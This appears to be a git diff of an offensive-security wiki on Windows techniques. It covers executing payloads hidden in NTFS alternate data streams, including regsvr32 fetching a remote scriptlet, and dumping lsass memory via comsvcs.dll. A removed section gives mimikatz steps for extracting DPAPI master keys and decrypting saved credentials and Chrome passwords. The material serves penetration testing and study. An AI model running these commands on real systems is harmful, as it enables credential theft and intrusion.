DisplayName= "evilservice" start= auto -sc start evilservice -https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ - -* Powershell.exe +# Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt - -* Powershell.exe -powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}" - -* Powershell.exe -Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe} - -* Regedit.exe -regedit c:\ads\file.txt:regfile.reg - -* Bitsadmin.exe -bitsadmin /create myfile -bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe -bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL -bitsadmin /RESUME myfile - -* AppVLP.exe -AppVLP.exe c:\windows\tracing\test.txt:ha.exe - -* Cmd.exe -cmd.exe - < fakefile.doc:reg32.bat -https://twitter.com/yeyint_mth/status/1143824979139579904 - -* Ftp.exe -ftp -s:fakefile.txt:aaaa.txt -https://github.com/sailay1996/misc-bin/blob/master/ads.md - -* ieframe.dll , shdocvw.dll (ads) -echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt -rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt -https://github.com/sailay1996/misc-bin/blob/master/ads.md - -* bash.exe -echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh -bash.exe -c $(fakefile.txt:payload.sh) -https://github.com/sailay1996/misc-bin/blob/master/ads.md - -* Regsvr32 -type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS -regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS ```
diff --git a/windows-hardening/stealing-credentials/README.md b/windows-hardening/stealing-credentials/README.md index 7dcc4e669..c44a4d084 100644 --- a/windows-hardening/stealing-credentials/README.md +++ b/windows-hardening/stealing-credentials/README.md @@ -95,17 +95,17 @@ This process is done automatically with [SprayKatz](https://github.com/aas-n/spr ### Dumping lsass with **comsvcs.dll** -There’s a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function** called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`.\ -The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice.\ -Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file.\ -Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. (This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)) +A DLL named **comsvcs.dll** found in `C:\Windows\System32` is responsible for **dumping process memory** in the event of a crash. This DLL includes a **function** named **`MiniDumpW`**, designed to be invoked using `rundll32.exe`.\ +It is irrelevant to use the first two arguments, but the third one is divided into three components. The process ID to be dumped constitutes the first component, the dump file location represents the second, and the third component is strictly the word **full**. No alternative options exist.\ +Upon parsing these three components, the DLL is engaged in creating the dump file and transferring the specified process's memory into this file.\ +Utilization of the **comsvcs.dll** is feasible for dumping the lsass process, thereby eliminating the need to upload and execute procdump. This method is described in detail at [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords). -``` +The following command is employed for execution: + +```bash rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ``` -We just have to keep in mind that this technique can only be executed as **SYSTEM**. - **You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.** ### **Dumping lsass with Task Manager** diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md index ec28a4648..019ba7340 100644 --- a/windows-hardening/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -946,7 +946,7 @@ People often use the StickyNotes app on Windows workstations to **save passwords **AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -This code was extracted from _**PowerUP**_: +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { diff --git a/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index b06af8013..9392cdba1 100644 --- a/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -18,35 +18,21 @@ {% embed url="https://www.rootedcon.com/" %} -While creating this post mimikatz was having problems with every action that interacted with DPAPI therefore **most of the examples and images were taken from**: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) ## What is DPAPI -Its primary use in the Windows operating system is to **perform symmetric encryption of asymmetric private keys**, using a user or system secret as a significant contribution of entropy.\ -**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets. +The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves. -This makes very easy to developer to **save encrypted data** in the computer **without** needing to **worry** how to **protect** the **encryption** **key**. +### Protected Data by DPAPI -### What does DPAPI protect? +Among the personal data protected by DPAPI are: -DPAPI is utilized to protect the following personal data: +- Internet Explorer and Google Chrome's passwords and auto-completion data +- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail +- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys +- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes +- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more -* Passwords and form auto-completion data in Internet Explorer, Google \*Chrome -* E-mail account passwords in Outlook, Windows Mail, etc. -* Internal FTP manager account passwords -* Shared folders and resources access passwords -* Wireless network account keys and passwords -* Encryption key in Windows CardSpace and Windows Vault -* Remote desktop connection passwords, .NET Passport -* Private keys for Encrypting File System (EFS), encrypting mail S-MIME, other user's certificates, SSL/TLS in Internet Information Services -* EAP/TLS and 802.1x (VPN and WiFi authentication) -* Network passwords in Credential Manager -* Personal data in any application programmatically protected with the API function CryptProtectData. For example, in Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk etc. -* ... - -{% hint style="info" %} -An example of a successful and clever way to protect data using DPAPI is the implementation of the auto-completion password encryption algorithm in Internet Explorer. To encrypt the login and password for a certain web page, it calls the CryptProtectData function, where in the optional entropy parameter it specifies the address of the web page. Thus, unless one knows the original URL where the password was entered, nobody, not even Internet Explorer itself, can decrypt that data back. -{% endhint %} ## List Vault @@ -60,7 +46,7 @@ mimikatz vault::list ## Credential Files -The **credentials files protected by the master password** could be located in: +The **credentials files protected** could be located in: ``` dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ @@ -108,68 +94,8 @@ Usually **each master keys is an encrypted symmetric key that can decrypt other ### Extract master key & decrypt -In the previous section we found the guidMasterKey which looked like `3e90dd9e-f901-40a1-b691-84d7f647b8fe`, this file will be inside: +Check the post [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) for an example of how to extract the master key and decrypt it. -``` -C:\Users\\AppData\Roaming\Microsoft\Protect\ -``` - -You can extract the master key with mimikatz: - -```bash -# If you know the users password -dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected - -# If you don't have the users password and inside an AD -dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc -``` - -The master key of the file will appear in the output. - -Finally, you can use that **masterkey** to **decrypt** the **credential file**: - -``` -mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df -``` - -### Extract all local Master Keys with Administrator - -If you are administrator you can obtain the dpapi master keys using: - -``` -sekurlsa::dpapi -``` - -![](<../../.gitbook/assets/image (326).png>) - -### Extract all backup Master Keys with Domain Admin - -A domain admin may obtain the backup dpapi master keys that can be used to decrypt the encrypted keys: - -``` -lsadump::backupkeys /system:dc01.offense.local /export -``` - -![](<../../.gitbook/assets/image (327).png>) - -Using the retrieved backup key, let's decrypt user's `spotless` master key: - -```bash -dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk -``` - -We can now decrypt user's `spotless` chrome secrets using their decrypted master key: - -``` -dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6 -``` - -![](<../../.gitbook/assets/image (329).png>) - -## Encrypting and Decrypting content - -You can find an example of how to encrypt and decrypt data with DAPI using mimikatz and C++ in [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\ -You can find an example on how to encrypt and decrypt data with DPAPI using C# in [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection) ## SharpDPAPI